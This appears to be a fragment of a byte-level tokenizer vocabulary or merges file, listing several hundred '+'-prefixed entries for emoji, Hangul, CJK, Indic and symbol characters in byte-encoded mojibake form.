+ðŁĴī +ðŁ¤Ļ +Èĺ +ɳ +ɹ +Ùº +áĢĦ +ῳ +âļĺ +âĿĨ +ëĨī +ìĸį +ìĺĩ +ì¥ĺ +íĸħ +íĻij +ï®Ĭ +ï¿Ń +ðĿĴIJ +ðĿĹ¢ +ðŁĶĸ +ðŁĶ¨ +ðŁļij +ðŁļ² +Ƹ +âĹ¥ +ðĿIJŃ +ðŁį½ +âĹij +âĵĩ +ðŁĶ± +âľ¼ +ï¹ĥ +âķ± +ãĢĹ +ðŁıĭ +ðŁļ´ +ðĿIJ® +Äļ +Õı +Ķ +áĥij +Ṭ +ÄĪ +ÄĴ +Ò° +Óķ +âIJ +âIJ£ +âĹ¢ +âļĻ +ãħĹ +ê°¬ +곪 +ê»Ģ +ëĦ´ +ëİģ +ëĿĶ +묽 +ëŃį +ìĩ³ +ì°¹ +íĮ¹ +íŀĿ +ï®ĭ +ï¶Ī +ðĿĴĤ +ðŁ¥Ģ +ð٦ħ +Êĺ +á¼ij +âģİ +ðŁįŀ +âĨĸ +âĨĻ +ðŁİĥ +âĦ¡ +âĭ± +ðŁĶį +ನ +áµĥ +âĶ« +⦿ +ðŁĩ» +Ƥ +Òı +Ò· +Ûī +à®ķ +ḳ +בּ +ðŁĨĶ +ÚŃ +Û¦ +áħ¡ +âĦ¹ +ê¿İ +ëķĶ +ë¼ī +ìļ§ +ì²µ +ì´¨ +íĬĪ +íĸIJ +ðĿĹĺ +ðŁĩ¿ +ðŁİĸ +ðŁijħ +ðŁĵĺ +ðŁļĻ +ðŁĽµ +à¶½ +⼵ +ðĿIJ³ +ðĿIJ¸ +âļĶ +ðŁijŃ +Óij +â͝ +ðŁħ¿ +ðŁĺ¹ +ï¿« +⼤ +ðŁĴĩ +ðŁĵİ +ðŁĸĭ +স +ðĿIJį +IJ +Ïĭ +Ѭ +Ú¬ +ÜĴ +á´¬ +ï¨Ħ +É£ +Ëij +ϵ +ÒĿ +Û¥ +Üł +à¹Ľ +áĥķ +áĬķ +á¾¶ +âĤ· +âĩ¾ +âķ© +âĸIJ +âĺª +âĺ® +âĿļ +âĿŃ +âŀ± +âµİ +ãıĬ +ë©ĵ +ìĹ¾ +ìªĦ +íĵĮ +íķ¼ +ïѬ +ðĿijĨ +ðĿijŀ +ðĿĸĬ +ðŁİ¸ +ðŁıĦ +ðŁijµ +ðŁĴł +ðŁĶĺ +ðŁ¥Ĥ +Ū +à·ĥ +á´¼ +âĬ° +ë³ı +ë´£ +ï¥ľ +ðŁĵĪ +ðŁķ¯ +ðŁ§Ģ +âĻIJ +ðŁĨĹ +ðŁĵķ +ð٧ģ +Ü« +âĿIJ +Õķ +à½ķ +âŀĿ +à¦ķ +ðĿIJ¶ +É¢ +ÎĦ +áĨ¢ +âĤ± +Õį +à¡ķ +á´° +ḩ +⼷ +âĿ® +ê¡ĵ +ëı¤ +ëĹIJ +ëµĮ +ìijĪ +íı¿ +íŵ +ðĿIJİ +ðŁĨĺ +ðŁıŁ +É¥ +Õ» +à¡Ķ +à¤ĸ +á´¸ +âİĻ +âİ¥ +âı³ +ëģķ +ëĬī +ì¡į +칡 +禮 +ï¬Ł +ﮫ +ﮯ +ï±ĥ +ï·» +ﺵ +ðĿĹĶ +ðĿĹ¡ +ðŁİ¨ +ðŁĶĴ +ÚĽ +ध +âŀ¹ +áĢĢ +ðŁįħ +⍠+à¤ł +ðŁIJ¥ +áĥĴ +ðŁıĿ +ðŁį¼ +ãĮ§ +âĿĽ +ðŁIJĪ +য +áĢŀ +ãĢĸ +áŀĻ +প +ÕĨ +âĬĨ +âľ¾ +ðŁIJĹ +ﹿ +Ħ +ÜŁ +à²ł +ಥ +áŀī +á´¥ +á´© +á½Ģ +ὡ +âĨķ +âŀ¯ +ê¡ij +ëij£ +ë±Į +ìĪij +ìľĶ +ìŀ½ +ì¨į +ðĿijĢ +ðŁĮĮ +ðŁį¦ +ðŁį© +ðŁIJļ +ðŁĵĴ +ðŁĵ¹ +ðŁ¥ij +Äĭ +ËĹ +Ñ« +Õ¢ +Ú° +âĮĢ +âĹĤ +âĹ£ +⾼ +âĿĴ +âĿĺ +âŀĻ +âŀ² +ãİį +ê¡IJ +ëŀĸ +ìĬĿ +ìĽ¤ +ì¡ĭ +쨰 +íĹĻ +兩 +ï³į +ï»İ +ðĿijĵ +ðŁĵĬ +ðŁļ¼ +ï¦ģ +ðĿķĴ +ðŁijľ +ðŁij¿ +ðŁĩ½ +à·Ħ +âĸ´ +ãįī +âĬĩ +ðŁ§¸ +Ú¡ +â¾ĥ +ðŁĹ» +âĵij +ðŁ¤¸ +ðŁ¤¯ +êĴ° +ðĿIJĵ +âĶ´ +êĴ± +áĢĺ +âĽĦ +ï¹¹ +ÓĶ +áĥ± +Ü¡ +ßŀ +âĻı +⾸ +ìij¨ +ðĿIJĿ +ðĿIJ¥ +ðŁįī +ðŁij¼ +ðŁ¥Ŀ +ÆĶ +ݬ +फ +àºļ +á´´ +á½ĸ +âĤ¶ +âİ¢ +âĿħ +⣫ +ãİĽ +뮨 +ëºĮ +ë¼ĺ +ìĨĿ +ìľ³ +ìŀĮ +ì£Ĺ +ìªĺ +컹 +ï·¼ +ïºĤ +ðĿIJ´ +ðĿIJ¼ +ðŁĮļ +ðŁı« +ðŁĴ¤ +ðŁĴ¶ +ðŁĴ¼ +Êķ +ʽ +â²Ł +ãīł +ê¡Ĵ +ëľĢ +ìĥ¾ +츤 +ï¥ģ +ðĿļĬ +ðŁļĥ +âŀĽ +ìħ´ +áĦĭ +âĩĹ +ï§· +âĺĸ +ðŁIJ¦ +⸾ +ðŁĴ´ +ð٤ļ +ãĬĹ +âĮĽ +áĪĽ +༺ +â½ī +ðŁı¢ +âĵŀ +âĺ½ +ãĢĻ +ðŁ¤® +ÅIJ +áĥ¬ +ðĿĹ» +ðŁįĸ +ÆĬ +ÊŁ +ßĭ +à¤ĭ +áµĶ +á¿ĥ +âĦī +âĮĭ +âı² +âĵĪ +âĵ¢ +âķĶ +âļij +âĿĭ +âĿİ +⵾ +âµ£ +ëĴĪ +ëľģ +ë¶ĩ +ìį» +ìĺŃ +ì§¢ +íĹĢ +ï§Ĭ +טּ +ﱡ +ðĿIJº +ðĿij§ +ðĿĺ¦ +ðŁĵ¥ +ðŁĺŁ +ðŁ¥IJ +Äĸ +ɨ +áĢIJ +áĥĵ +áºĵ +á¼¶ +á½Ħ +âĤ¤ +âĮľ +âĮŁ +âİł +⼸ +âµį +âµı +âµĵ +ãĢĺ +ë·¸ +íħ¼ +ï¦Į +ïŃĦ +ïŃİ +ðĿĻļ +ðĿļĺ +à¼ĵ +ëŃħ +áIJĽ +ãݾ +ï¨Ģ +ðŁĹ½ +âĻŀ +Ëĸ +âĹŀ +ðŁ¤« +ðŁĺĹ +ヲ +ðŁ¤¢ +âģĩ +ã̵ +ðŁįĶ +áĬł +ðŁĺ¼ +ðĿĹ® +ðŁIJ³ +ðĿIJĭ +ðŁĨļ +ðŁĶĽ +Ñ» +ܨ +ல +âľŀ +âµĻ +êµ£ +츨 +ðĿIJľ +ðĿĺ° +ðŁĶ½ +Ç» +Ç¿ +Êĩ +ÎIJ +ÐĢ +Ñ¡ +Ѳ +ÒĴ +Ù¶ +ßķ +à¶± +áIJģ +âģŀ +âĸ§ +âĽĪ +âľľ +âľ¹ +âŁ¹ +â¤ĩ +ê²Ĭ +ê¾ľ +ë¯IJ +ë³IJ +ìħ© +ìIJ¬ +ìij¹ +ï¤Ķ +ï¦ļ +ï¬ł +ïŃĶ +ﺶ +ðĿĴı +ðĿĸĨ +ðĿŶ +ðŁıĤ +ðŁIJ½ +ðŁĴ© +ðŁĵ½ +ðŁĹ¨ +ðŁĹº +ðŁĺ¸ +ðŁ¥§ +ÅĹ +Êİ +ÒĻ +ײ +à¤Ī +á¼´ +á¿ij +âµī +ãħĵ +ì½´ +ðĿĸĵ +ðŁĵĹ +ðŁĶª +ðŁĸį +ÏĴ +ðŁij¬ +áĥĻ +âĨ¬ +âͤ +âĽ¹ +âĻŁ +ðŁļ¶ +ðŁij¾ +âĪĭ +ðŁIJ¯ +à¼İ +âľ· +ï¨Ļ +âĶ» +ðŁij¹ +áĦī +ສ +â¾ı +â½ħ +ãİĸ +Ñ´ +Õ® +Ú¼ +áĢķ +áĨ¼ +ëŃı +ðŁIJ¸ +ðŁļ£ +ÆĿ +Ô» +áĥ¢ +ðŁį¯ +ɦ +Õ¦ +âĻĭ +שׂ +ðĿŦ +Çļ +ɱ +à¤ī +á´Ħ +âĻĵ +⼰ +âŁª +ëĥĺ +뢸 +ìĤij +ï®Ķ +ðĿķĸ +ðĿŧ +ðŁĩ¼ +ðŁĵĭ +ðŁļľ +ðŁ¥¤ +Ä® +Å· +ßĬ +॥ +ப +áŀĦ +áµĢ +á¸ħ +á¼¢ +âĪĿ +âĬ¹ +âĴ¶ +âķ´ +⼱ +âĽ³ +âĽº +âŀŁ +ãıĦ +ê¸Ķ +ê¹Ł +ëĩ° +ë¹» +ìĤ¥ +ìĽ» +ì°Ł +íĥ° +íĨº +íļ½ +老 +量 +ï³Ŀ +ðĿIJ¦ +ðĿĴľ +ðĿĴŁ +ðĿļĹ +ðŁİŃ +ðŁıĵ +ðŁı³ +ðŁıº +ðŁIJį +ðŁijĥ +ðŁĴı +ð٤ĸ +ðŁ¤µ +Õ² +âµĶ +ëĺ¬ +念 +ÊĤ +áĨ« +áŀij +ðĿĸİ +ðĿĹĸ +áĦĥ +âĩł +áĢ¡ +à½Ħ +âŀ¸ +ï¦Ļ +âĩļ +ðŁIJ¬ +ðŁIJ¢ +â¾Ĵ +ðŁIJ¤ +ðŁĶ« +ãĢŀ +︺ +ðŁĺº +â½´ +ðŁĨķ +âģ¿ +ðŁį¨ +à²ķ +ðŁļĺ +áŀħ +à¦ħ +áŀ¢ +à¨ľ +âļĮ +ã̽ +à·´ +âĵĽ +áĢľ +ìĨ¨ +Ë© +ÜĹ +âĭ¼ +ðŁĻī +ÅĬ +Éĵ +ʲ +ΰ +Ѽ +Ô¿ +à¡IJ +à¼ľ +ས +á¶ľ +âĤ² +âĨ¨ +âĬ¥ +âķ§ +âĻľ +ãĭ¡ +ë´¬ +ë¶ij +ìī¿ +ìİħ +ìł± +ì°§ +ﲡ +ðĿĴĽ +ðĿķ£ +ðĿĹľ +ðŁį² +ðŁİ© +ðŁIJIJ +ðŁIJł +ðŁij½ +ðŁĴij +ðŁĵľ +ðŁķµ +ðŁļĮ +ðŁĽ£ +Êĭ +Ó¯ +Ù¸ +ßĶ +ßĻ +à¡ĵ +á´į +ḿ +âıº +âĸ¥ +뤽 +íľij +ðĿIJ¹ +ðĿĸĶ +ðĿļİ +ðŁĵĦ +ðŁ¦· +Æĥ +à¦Ł +âĮĤ +âĺŃ +â²ļ +ëĿķ +ðŁİ£ +à®ĩ +à½Ĩ +áħµ +áĹľ +â̽ +âĮ£ +âģ½ +ðŁĵ¬ +ðŁ¤§ +âĩª +â½£ +âĹŁ +ï¨Ĺ +êĴª +ðŁĽĢ +ÇĤ +ðŁ¥¶ +ðŁİį +ï¿© +ðŁijĴ +áµĪ +︿ +áħ© +⾦ +à°¤ +á´ĸ +ਬ +àºĹ +༻ +Ѻ +ਪ +á´³ +ðĿIJĪ +à»Ģ +á´¿ +âĤį +âĩ¡ +âĽª +ðĿIJĤ +ðĿĴķ +ðŁIJľ +Êį +ѱ +à½ĥ +ë®IJ +ìĽ¡ +ìľģ +ðĿIJ¿ +ðĿķł +ðŁijĽ +ƪ +Ϻ +Ó¬ +Ù¿ +Ý£ +àªī +ஹ +à½ij +áĨ¯ +áµĩ +âĩ¥ +âıª +âϰ +âļŃ +âļ¾ +ãħĦ +ḛ̂ +ê°Ĺ +ê²ĭ +ê²» +ê¶ľ +ê¼ĩ +ê½¹ +ëĤŁ +ëħĪ +ëĭ¢ +ë§Ł +ëªĨ +ëµĢ +ì½± +íĩĺ +íľľ +ï§¾ +ï±µ +ï²¢ +ﲤ +ðĿĴĬ +ðĿĺ¯ +ðŁįĹ +ðŁıį +ðŁIJĺ +ðŁĵ¡ +ðŁĶŀ +ðŁ¤³ +ðŁ¥ģ +ðŁ¥Ĺ +ð٦Ĭ +ĵ +Ʀ +ǵ +ɯ +Îı +ÕĦ +Ü¥ +à½ģ +ᨳ +âķ« +ãİī +ë·´ +ìĨİ +ìİĮ +죵 +íĽł +離 +ï³ı +ﻺ +ðĿijģ +ðĿijĩ +ðĿĴĨ +ðŁİł +ðŁIJĶ +ðŁijŁ +Åĸ +à¤Į +á¾½ +ê¦Ĵ +à®Ł +á´± +ðŁı° +ðŁIJŀ +à½Ģ +áĢħ +âĬ¿ +ðŁIJ§ +áĽģ +â¼Ī +âĶ¿ +ðŁ¥´ +⼿ +ðŁ§ľ +ãħ¿ +âĦ« +ã̳ +ãĬĻ +â¼Ģ +怜 +ðŁı¬ +ðŁĵ» +áĬĽ +áĦħ +àºĬ +àºĽ +áħ³ +ðŁij® +à®± +âĺĩ +ðĿIJı +à´µ +à»ģ +à½ı +ར +ᥱ +âĤ£ +復 +ïŃĻ +ï´© +ï¹Ĥ +ðŁį£ +ðŁķ¹ +Ïĸ +ම +ຢ +áĭŃ +âİĿ +âĹĿ +âĻĪ +âĻİ +ê½¥ +ì³Ķ +ì¼ij +ï±° +ðĿijĥ +ðŁĮª +ðŁį¡ +Åİ +ʦ +ѧ +Óİ +Ô´ +ÚĪ +ßĵ +ß§ +à¤Ķ +áĪ« +áε +áĹ© +á´ł +á¼ł +âĢĹ +âģij +âĦı +âĸĩ +â²£ +ãĦ³ +ãī® +ê³Ĺ +ëĦĴ +ëĸ« +ë¡Ħ +ë¹° +ë½ģ +ìĦģ +ìĮĺ +ìŁĮ +ì³ī +ì¼ķ +כּ +ï³İ +ﹸ +ï¹¾ +ðĿIJĨ +ðĿij· +ðĿĽ¼ +ðŁİı +ðŁİŀ +ðŁIJĻ +ðŁijĤ +ðŁĵģ +ðŁĸ± +ðŁļį +ðŁļ§ +ðŁĽ¡ +ð٤Ĵ +ðŁ¥ŀ +ðŁ¥© +ðŁ¦Ģ +ð٦ĸ +Ë¢ +Üļ +வ +áĢģ +áī° +âıŃ +âĻ¿ +ê³ĺ +ëıĿ +ëķĥ +ìħĮ +ìĴ¸ +ìĽŁ +íħĦ +íľ« +ï§ĺ +↓ +ðŁı· +ðŁĶ§ +ð٥Π+Æĸ +áŀĩ +áŀĸ +âģº +âĹľ +âŀ© +ê¦Ń +ëϤ +ïѼ +ðĿĻĸ +ðĿĻ£ +ðĿϤ +ðŁĮĿ +ðŁĶij +ðŁĽł +àºĩ +âĺ£ +ãĦ¨ +ðĿĸĹ +Óĵ +âĨ£ +ðŁ¥ī +ðŁĮł +ðŁĺ½ +ãİł +ŧ +ðŁIJĴ +ï§IJ +ðŁĺ¿ +âά +ðŁIJ® +⣱ +ಡ +â¾¼ +à°² +˶ +âĸ¿ +ÕĪ +áŀİ +áħ¥ +áŀĹ +Õ§ +ð٤IJ +ðŁįł +ত +ය +âĻį +ìĺĻ +íĺĵ +ﹺ +ðŁĽ³ +Åī +á´İ +âıľ +âͳ +긷 +ì¡Ķ +ðĿĴĪ +ðĿĴį +ðĿĴ¹ +ðĿĵĩ +ðĿķŁ +ðĿĹ¹ +ðŁĮħ +ðŁı´ +ÄĶ +Ĥ +ŵ +Ǿ +Ïŀ +϶ +Ô³ +ÜĨ +ß© +à¡Ĵ +à¤ĺ +à¶ļ +à½ĸ +áģĬ +áĥŀ +áĦĤ +áĭ« +á´º +ḣ +Ḫ +á¹Ĥ +á¼· +á¿ĩ +âĩĮ +âı¬ +âĻĮ +⮣ +â´» +ⵣ +ê¦ķ +ꦪ +ꦮ +ê²Ħ +ê¾IJ +ëĥij +ëķĭ +롸 +ë¬Ģ +ìĩ¤ +ìĪ© +ìľķ +ìŃĺ +ì·° +ì·¸ +íľĢ +藍 +ï§į +ï±Ħ +ï³ij +ðĿIJ¤ +ðĿĴĵ +ðĿĴ¶ +ðĿĹ¼ +ðĿĻĬ +ðŁĩ¾ +ðŁĮĽ +ðŁĮ® +ðŁİĩ +ðŁİ² +ðŁıĽ +ðŁij¥ +ðŁij´ +ðŁĴĨ +ðŁĵĤ +ðŁĵ§ +ðŁķIJ +ðŁĸķ +ðŁĺ§ +ðŁĻĢ +ðŁļĴ +ðŁĽ« +ðŁ¤ł +ðŁ¥ļ +ðŁ¥Ľ +ðŁ¥£ +ǯ +ȧ +ÎĬ +Ò² +×° +Ûij +áĥ© +áĦĮ +áĪį +áī¥ +áıĤ +âģ± +âĬ¢ +âĹĵ +âĿ° +ë¿¡ +ìĽ© +íģŃ +íĨ³ +íĬĦ +íĵ¸ +北 +若 +ï±IJ +ﱯ +ï³ļ +ðĿĸĺ +ðĿĺĢ +ðŁIJĬ +ðŁIJĮ +ðŁijļ +ðŁĵĥ +ðŁļĽ +ðŁļª +ðŁ¤° +Ä´ +áĥ® +áŨ +âĻ® +â²ŀ +ãĪĶ +ìħį +ãħĥ +率 +ມ +Õİ +Õº +⬼ +⽤ +ðĿIJ² +âŀµ +áĢĽ +âĶħ +âĨŁ +â¼Ĭ +ðŁĮ½ +ðŁļ¿ +ï¦Ĭ +ãĦ£ +⼩ +ï©Ľ +ðŁį± +⾨ +à´¤ +áŀģ +àºŀ +Êļ +ðĿIJĴ +à´± +áŀľ +ன +à°Ĺ +à´ļ +âĩ£ +ï¦ķ +Õħ +Æĺ +âĤ¦ +âĶĦ +ï¦Ł +嶺 +ðĿIJģ +ðĿIJĥ +ðŁį¸ +ðŁIJ² +Ŷ +Éĸ +ßĺ +ฦ +à½Ķ +áĨ· +âģķ +âĵĤ +âĿľ +便 +אַ +ðĿĹĿ +ðĿĹ¿ +ðŁİ¾ +ðŁĹĿ +ð٦Į +Æħ +Ǫ +ÒĹ +ÜĽ +ßł +à¡ij +áī£ +áĬŃ +ṡ +âŀ¼ +âŀ¾ +â´± +ãī¡ +곯 +ë½Ī +ìĤĺ +ìīij +ì«ĺ +íĮĥ +íϰ +ï¤Ĺ +ðŁĮ¬ +ðŁĮ° +ðŁį¤ +Ä» +Åĩ +ƨ +Éķ +Ò¢ +Òº +Öį +×± +Ú± +Ú½ +ÛIJ +à¤Ľ +à·Ģ +à¹ļ +ຫ +á´¹ +á½Ķ +á¾³ +âĤĴ +âĨ´ +âĩĿ +âīħ +âĮ¨ +âĵĵ +âĸ¢ +âļ¬ +âŀŃ +â²Ĵ +ãİ¿ +ê¿´ +ëα +ëᬠ+ëİIJ +ëIJ« +ëĶ« +ë±ģ +ìĥ¥ +íĮ¼ +ïŃĵ +ﮥ +ï²° +ðĿIJĩ +ðĿIJij +ðĿijĮ +ðĿĵª +ðĿķļ +ðĿĺª +ðĿĺ¼ +ðĿļĽ +ðŁĩ¶ +ðŁĮĦ +ðŁĮķ +ðŁĮ¤ +ðŁĮ§ +ðŁį¬ +ðŁİĭ +ðŁİ» +ðŁı¨ +ðŁIJĩ +ðŁijĵ +ðŁĵIJ +ðŁĵĻ +ðŁĶ¼ +ðŁķĴ +ðŁĸı +ðŁĸ¥ +ðŁ¤¬ +ðŁ¥Ĭ +ðŁ¥Ĵ +ßĮ +àºĦ +á¼µ +âķ¡ +Ⲥ +â´¼ +âµ¢ +ãΝ +ëĵ¸ +ëŁĩ +ëºį +ðĿϧ +ðŁįĪ +ðŁĶ¬ +ðŁĸĬ +ðŁ¤¾ +Ë¡ +Ü© +âĮ¡ +âŃij +Ⲧ +ë©ī +ì¼Ń +¦ +ðĿĴİ +ðĿĹ¥ +ðŁIJµ +ðŁķ¶ +ðŁķ¸ +ðŁ¤ľ +Õª +áĪĭ +ðŁ¥µ +ï°ģ +áµIJ +âķĵ +áĢĸ +âĭĪ +Éŀ +âŀ® +॰ +ãĨģ +ðŁĴ± +ðŁıŃ +áĨ¨ +ðŁįļ +ð٦IJ +á´» +âĺĮ +à´ķ +Õ± +áħ® +ðĿIJĮ +Ŧ +àºķ +âľĻ +˳ +Ôµ +âķĴ +ðĿĹĹ +ðĿĹł +Úļ +ধ +âĨĿ +âĻī +ãĮ» +ì¹Ĭ +ðĿĹº +ð٧ĺ +ì³£ +ï¬Ŀ +ðŁijº +ÇŁ +ÎĪ +Ϋ +Ñ¥ +Ô² +Õ¨ +ܦ +à¦Ĩ +থ +áIJ¢ +á¼ģ +á¼ĺ +ἦ +âĵĿ +ãΰ +ãİĹ +겡 +ë¨Ģ +ì£Ķ +ì´¤ +ìµĿ +ï§´ +ïŃĬ +ï²Ł +ðĿIJ· +ðĿijĭ +ðĿĵī +ðĿĺµ +ðŁĴ· +ðŁĽ© +ðŁ§¹ +ÅĶ +Êŀ +Ë¥ +ÎĮ +Ñ© +ÓIJ +Ół +Úij +ÚĴ +ߨ +àªĪ +áIJĥ +ṯ +âĤĭ +âĤµ +âĦħ +âĦł +âĪ£ +âīº +âī» +âĬĽ +âĮIJ +âİĵ +âĺ¸ +âĻĴ +âļĴ +âľĩ +âľł +â´· +âµĸ +ãĦ¸ +ãī¢ +ãī° +êĩ´ +ê´¸ +êºł +ëĤı +ëĤ¢ +ëIJĢ +뺴 +ìĥľ +ìįħ +줫 +챦 +ìºij +ì¼ģ +쿳 +íĤģ +íħ¡ +íĴĤ +íĴī +íľĦ +ïŃª +ﮬ +ﯦ +ﱪ +ï²ı +ï´Ģ +ï»Ĩ +₩ +ðĿijĹ +ðĿĸĻ +ðŁĮ¡ +ðŁįĿ +ðŁį§ +ðŁİ« +ðŁıĺ +ðŁıª +ðŁIJĭ +ðŁIJĽ +ðŁIJº +ðŁijĸ +ðŁijŀ +ðŁij· +ðŁĵĢ +ðŁĶĦ +ðŁĶĮ +ðŁķĻ +ðŁĻį +ðŁĻİ +ð٦į +ǰ +ÉŁ +ÊĨ +Ô¼ +Úľ +ড +শ +áĴĥ +Ἡ +âĵķ +â²Ī +ê°° +ê¹ł +êºħ +ëĦ¹ +ë¯ĵ +íIJĪ +ï§¶ +ï®ij +ﲨ +ðĿĴī +ðĿĴĶ +ðĿŨ +ðĿĻŀ +ðĿļĴ +ðĿļķ +ðŁIJİ +ð٤ķ +ðŁ§Ķ +ϰ +ÔĿ +âĮĬ +âĴ¾ +ãī£ +ïŃ© +ðĿļŀ +Êij +দ +áĦĩ +âīĥ +â²Ģ +ìŁİ +ðĿij¶ +ðĿĵ² +ðŁİ· +ðŁļ¹ +àºģ +áłł +ãĦļ +ðŁIJ¿ +áĽļ +âķ³ +ðŁIJŃ +âĴ¹ +ðĿĸļ +âĻĸ +ãβ +âĨ¾ +áĦĨ +âķĽ +ð٤į +â½¥ +ðŁĮ¨ +âĪ® +ãĮĺ +ãįij +ï¹Ģ +âĵĹ +âĬĦ +ðŁı¹ +ËĴ +ðŁ¤± +ãıľ +ðŁİĮ +ï¥Ń +ণ +ðŁİ¹ +ãĬŁ +à´° +ðĿIJĶ +à´¨ +à½ļ +âľº +Õ· +ðŁij³ +à¦ľ +âĺĭ +âĻĬ +ãĢĽ +Èĭ +à®° +áĥ¨ +âĦķ +íijĢ +ðĿĵĥ +ðŁ¦Ķ +Ä¿ +ÅĢ +Ƴ +Éļ +Öĥ +Ü£ +ߣ +à¦Ń +à§¡ +à¶» +ຣ +à½ĩ +Ḩ +á½Ī +⽬ +ê¡Ķ +ì³Ħ +ï¨ī +ðĿIJ¡ +ðĿĺ¢ +ðŁį¿ +ðŁİŁ +ðŁıī +ðŁĶIJ +ðŁļħ +ðŁ¤½ +Æį +Ç« +ǽ +Èļ +Îī +Ó¤ +Óª +ÕĬ +Ù¼ +Ú´ +ßĿ +à¶ľ +á¼ķ +á¿¥ +âİŀ +ãĢļ +ãī¤ +곸 +ê·ģ +ëĵĦ +ëĵķ +ì¨Ķ +챨 +ðĿIJ¾ +ðĿij» +ðĿͼ +ðĿķĿ +ðĿĺŃ +ðŁĨĻ +ðŁĵ¤ +ðŁĶŁ +ðŁĹ¼ +Äľ +Æģ +Æ¿ +dz +Ç· +Éĥ +Éł +Êī +ʧ +˲ +Ï´ +Õģ +Õŀ +Öĩ +ÛĤ +Ûĵ +ßĹ +ߦ +হ +ள +à´¸ +à»Ĥ +áĪĿ +áĪª +áĭµ +áIJĬ +áĴª +áļĸ +áŀĽ +á´¢ +áµı +áµŃ +á¶« +á¸ı +áºĴ +á¼¥ +á½ķ +á½¼ +âĤĬ +âĦĤ +âĦ© +âĩī +âī£ +âĮł +âİŁ +âı® +âķĺ +âĹĸ +âĺ© +âĻij +âϲ +âļĽ +ãĦŁ +ãī± +ãİļ +ê¡ķ +êªĸ +ê°¹ +ê²Ĩ +êµĦ +ëĩ¬ +ëĭ¯ +ëıł +ëĴ¬ +ëĸĪ +ëĸ½ +ëĺĶ +ëŀ¸ +ë¸ħ +뻳 +ë¿Ł +ìĤµ +ìĬī +ìľ° +ìłĭ +ìłĶ +쥡 +ìŃĿ +켬 +íĪĩ +íīľ +íįĦ +íĽ¾ +íĿ£ +朗 +勞 +ï¦ľ +獵 +ï§ľ +ï¨Ī +שׁ +הּ +ïѽ +ï®ī +ï¯ŀ +ï°Ĵ +ï±ĩ +ï¿Ħ +ðĿIJħ +ðĿijĦ +ðĿijº +ðĿĴĹ +ðĿĵ® +ðĿķĽ +ðĿķŀ +ðĿĸij +ðĿĺģ +ðĿĺĨ +ðĿĺ¶ +ðĿĻ¢ +ðĿļľ +ðŁĮĥ +ðŁĮ¦ +ðŁįŁ +ðŁİİ +ðŁıĻ +ðŁIJ© +ðŁIJ« +ðŁIJ´ +ðŁijĶ +ðŁĵī +ðŁĵĽ +ðŁĶī +ðŁĸ¼ +ðŁĹĥ +ðŁĹ¯ +ðŁļĩ +ðŁļIJ +ðŁļµ +ðŁ¤¶ +ðŁ¥ĭ +ðŁ¥ĵ +ðŁ¥® +ðŁ¦İ +ðŁ¦ł +ð٧Ĵ +ðŁ§¨ +ÆIJ +Çį +ÓĢ +ÔĽ +ರ +à´Ļ +áĢĴ +ê²Ŀ +ê¹¹ +ë©¥ +ìĸĶ +ï¤ģ +ï¤ı +ï¦ī +ï¦ĵ +ï§ī +ï²Ŀ +ðĿĹŀ +ðĿű +ðŁĮĭ +ðŁį¶ +à¦ļ +ìķľ +ðĿIJ¯ +ðĿļĿ +à°¨ +à½ĺ +à½ł +á¡¥ +á¾° +âģį +âͰ +⬾ +ðĿIJł +ðĿij¯ +ðĿĹĽ +ðĿĵ» +ðĿĸĪ +âŀ» +áŀł +⡱ +â»ij +ðŁ§µ +廉 +ðŁijĺ +ãĤĶ +â¼Ł +ãĬ¤ +ï¦Ŀ +ãĮ¦ +â̏ +ðŁĶĻ +ã¹ +㹦 +ï¹ħ +ï©Į +ãī¨ +︽ +âᥠ+ðŁļī +ðŁ¥ľ +âĵľ +â»Ŀ +ï¨ľ +ðŁĴĴ +áĦij +â¾ŀ +ï¨ģ +à´ª +áĦİ +âŀ´ +ষ +áħ¬ +áŀ§ +âĨ¢ +âķ¦ +âľij +ˬ +ÕIJ +à¼Ķ +ʤ +˨ +à¤ŀ +à»ĥ +à¼ļ +âĵ¥ +âķľ +ðŁIJĸ +á¼Ļ +ἤ +ìĨ° +ÈĤ +ʱ +à®ļ +áĥ§ +á´ĭ +á´® +âĿ¡ +âŀ· +ëĿ¡ +ï§¢ +ﯡ +ðĿķķ +ðŁħ° +ðŁ¦¸ +Ǹ +Óŀ +Ô¶ +ÖĨ +Úģ +Ûĭ +áİ¥ +᾿ +âĶŃ +âĶ® +êĢĢ +ê±ĺ +ëIJŃ +ë½Ħ +ìĶIJ +ì¸Į +íģł +íϱ +ï¥ī +ï¨ĸ +ðĿij´ +ðĿĸĴ +ðĿĺ¨ +ðĿļĮ +ðŁIJ¡ +ðŁij¢ +ðŁĵĶ +Åħ +Æİ +È© +Òª +Ôĥ +áĥ« +á¸ĩ +⼣ +ê»Ń +ë¨Ħ +ìŁĢ +줴 +íļIJ +盧 +ðŁŁ¢ +Ƨ +ȼ +ÊĿ +ËĦ +Ëħ +Ëį +˧ +Ò¥ +ÕĶ +Øı +ؼ +ßIJ +ßľ +à¤ĵ +à¦Ļ +à®ĵ +à¶´ +à¼į +à¼Ĵ +ལ +áĢĤ +áĢĬ +áĦĦ +áĪĺ +áĭĬ +áĮį +áijĭ +áŀĤ +áł¢ +á¡Ŀ +á´¦ +áµį +ᵨ +ḡ +ḯ +á¼£ +âģĤ +âĦĺ +âĦľ +âĦ³ +âĦµ +âĨ¦ +âĩĨ +âĪ· +âĬļ +âĮ« +âĮ¯ +âİĽ +âİľ +âݤ +âݦ +âİ® +âijī +âĶī +âķĻ +âĸĤ +âĹŃ +âĺĬ +âĺį +âĺĴ +âļĨ +⼧ +âĽ² +âŀĺ +â¥Ħ +â´³ +â´½ +âµĪ +ãī¯ +ãİij +㧬 +êϬ +ê§ģ +곬 +ê´ŀ +ê»ľ +ëħĵ +ëĭ¼ +ëįĸ +ëĸ± +ëĿ° +롹 +뢴 +ë£Ģ +뤳 +ë¨ķ +ëŃ¥ +ìĦ¶ +ìħ¤ +ìĮķ +ìįª +ìı© +ìĴĢ +ì͝ +ìĿĶ +ìĿľ +ìłŃ +짦 +쨩 +첬 +ì³¥ +켯 +íĢ« +íĢŃ +íĥ¸ +íĵģ +íķ¬ +íŸ +íĽķ +íľŃ +íĿĹ +ï¤Į +浪 +ï§¿ +ï¬Ħ +ï¬ħ +ïŃij +ïŃ« +ïŃº +ï®Ĥ +ﮢ +ﮨ +ï°İ +ï°ł +ï²£ +ï³IJ +ï³Ĵ +ï³ĺ +ï³ľ +ï¹¼ +│ +ðĿIJ© +ðĿĴļ +ðĿķĶ +ðĿķ¤ +ðĿĸĮ +ðĿĹ£ +ðĿŰ +ðĿĹ´ +ðĿĺĤ +ðĿĺ¥ +ðĿĺ® 